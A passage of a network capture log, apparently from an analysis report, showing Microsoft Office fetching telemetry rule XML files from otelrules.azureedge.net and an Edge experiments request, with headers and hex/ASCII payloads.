2024-10-30 10:45:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104528Z-r1755647c66ss75qkr31zpy1kc00000007pg000000000kry x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:28 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49814	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:28 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: b8f0a3b1-001e-0017-5067-280c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104528Z-17fbfdc98bb5d4fn785en176rg00000007xg00000000414u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49813	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104528Z-17fbfdc98bb7jfvg3dxcbz5xm0000000064g000000004uxm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49826	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:30 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 071448c9-d01e-0028-2702-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104530Z-r1755647c6688lj6g0wg0rqr14000000082g000000004ys1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:30 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49825	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:30 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: de1a9787-701e-006f-48ae-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104530Z-r1755647c668pfkhys7b5xnv2n00000008gg0000000028bz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49815	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:30 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 44c43cee-601e-003e-459c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104530Z-17fbfdc98bb2xwflv0w9dps90c00000008u0000000001r8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49823	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:30 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104530Z-17fbfdc98bbdbgkb6uyh3q4ue4000000079g000000002huc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49824	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:30 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:30 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104530Z-17fbfdc98bbnvkgdqtwd2nmyz800000006ug000000004572 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:30 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49816	94.245.104.56	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:30 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 10:45:30 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 30 Oct 2024 10:45:30 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=6ec734f7cf79a0cade390611c8bcbc1c80600480b76174a7c93df6cd248747e5;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=6ec734f7cf79a0cade390611c8bcbc1c80600480b76174a7c93df6cd248747e5;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49827	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:31 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:31 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c6fd9367-401e-008c-7f80-2686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104531Z-17fbfdc98bblzxqcphe71tp4qw000000036g000000005nfp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:31 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49830	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:31 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:31 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:31 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: ba33cc4f-e01e-0052-2e6f-28d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104531Z-r1755647c66x2fg5vpbex0bd8400000009fg00000000000b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:31 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49832	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:31 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:31 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 170621ef-f01e-003f-351f-28d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104531Z-17fbfdc98bb5d4fn785en176rg0000000820000000000bkc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49834	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: baf401f8-c01e-00ad-1d9e-26a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104531Z-r1755647c66hlhp26bqv22ant400000008400000000021af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
